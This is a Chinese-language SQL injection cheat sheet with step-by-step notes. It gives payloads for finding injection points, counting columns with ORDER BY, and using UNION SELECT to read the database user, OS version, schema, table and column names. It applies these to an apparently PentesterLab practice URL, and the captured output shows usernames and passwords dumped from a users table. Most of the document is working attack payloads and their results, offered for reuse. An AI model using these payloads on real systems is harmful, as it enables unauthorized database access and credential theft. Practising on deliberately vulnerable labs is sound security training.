

测试注入点

```
1 1'or'1'='1
2 '
3 and 1=2
4 or 1=1
5
```

order by 测试列

```
1 1'order by 1 --
2 1'order by 3 --
```

union select 查询关键信息

```
1 1' and 1=2 union select 1,2 --
2 1' and 1=2 union select user(),database() -- 查询数据库用户和使用数据库
3 1'and 1=2 union select 1,@@global.version_compile_os from mysql.user -- 获取操作系统信息
4 1' and ord(mid(user(),1,1))=114 -- 查看数据库权限
5
```

爆出所有数据库

```
1 union select 1,2,schema_name,4,5 from information_schema.schemata %23
```

猜测数据库表名

```
1 1' and exists(select * from users) -- 可用burpsite批量爆破 如果mysql大于5 包含
information_schema 就可以不适用这个方法, 见下文
2 http://cohux.com:7012/sqli/example1.php?name=root'union select
1,2,group_concat(table_name),4,5 from information_schema.tables where
table_schema=database%23 获取当前表
3 http://cohux.com:7012/sqli/example1.php?name=root'union select
1,2,group_concat(column_name),4,5 from information_schema.columns where
table_name=0x7573657273%23 获取users表中所有的列 0x7573657273为users 16进制 %23
为url编码# 意思为注释
4 http://cohux.com:7012/sqli/example1.php?name=root'union select
```

```
1,2,concat(id,name,age,groupid,passwd),4,5 from users%23
```

Load URL `http://cohux.com:7012/sqli/example1.php?name=root'union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=database()%23`

Split URL

Execute

☐ Enable Post data ☐ Enable Referrer

cohux.com:7012/sqli/example1.php?name=root'union select 1,2,group Google

PentesterLab.com

id	name	age
2	root	30
1	2	users

`http://cohux.com:7012/sqli/example1.php?name=root'union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_name=0x7573657273%23`

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cohux.com:7012/sqli/example1.php?name=root'union select 1,2,group Google

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id	name	age
2	root	30
1	2	id,name,age,groupid,passwd

Load URL `http://cohux.com:7012/sqli/example1.php?name=root'union select 1,2,concat(id,name,age,groupid,passwd),4,5 from users%23`

Split URL

Execute

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← → cohux.com:7012/sqli/example1.php?name=root'union select 1,2,con Google

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id	name	age
2	root	30
1	2	1admin1010admin
1	2	2root300admin21
1	2	3user152secret
1	2	5user225azerty
1	2	6daiya2330woshimima

猜解字段名

```
1 1' and exists(select first_name from users) --
2 ID: 1' and exists(select last_name from users) --
```

爆出数据库中字段的内容

```
1 1' and 1=2 union select first_name,last_name from users --
```